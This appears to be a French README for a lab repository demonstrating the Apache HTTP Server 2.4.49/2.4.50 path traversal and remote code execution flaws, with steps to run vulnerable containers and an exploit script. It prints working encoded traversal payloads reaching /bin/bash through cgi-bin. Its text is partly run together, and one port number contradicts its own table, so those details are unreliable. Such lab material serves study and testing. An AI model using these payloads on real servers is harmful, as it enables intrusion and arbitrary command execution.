
Une faille a été découverte dans une modification apportée à la normalisation des chemins dans Apache HTTP Server 2.4.49. Un attaquant pourrait utiliser une attaque de traversée de chemin (path traversal) pour mapper des URL vers des fichiers situés en dehors des répertoires configurés par des directives de type Alias. Si les fichiers situés en dehors de ces répertoires ne sont pas protégés par la configuration par défaut "require all denied", ces requêtes peuvent aboutir. Si les scripts CGI sont également activés pour ces chemins d'alias, cela pourrait permettre l'exécution de code à distance. Ce problème est connu pour être exploité dans la nature. Ce problème n'affecte qu'Apache 2.4.49 et non les versions antérieures. Le correctif dans Apache HTTP Server 2.4.50 était incomplet, voir CVE-2021-42013.
pip3 install colorama)perl hello-world s'exécutant dans le(s) conteneur(s)Démarrez un Apache httpd vulnérable (avec la configuration par défaut) en tant que conteneur docker/podman.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Port d'écoute |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 sélectionnez l'attaque sur la version 2.4.49
1.3 python3 main.py localhost:2450
1.4 sélectionnez l'attaque sur la version 2.4.50
L'exploit utilisera le module CGI d'Apache httpd pour permettre l'exécution d'exécutables arbitraires via une traversée de chemin.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ est url-encodé et équivaut à ../ une fois décodé.
.%%32%658 est doublement url-encodé et équivaut également à ../ une fois décodé.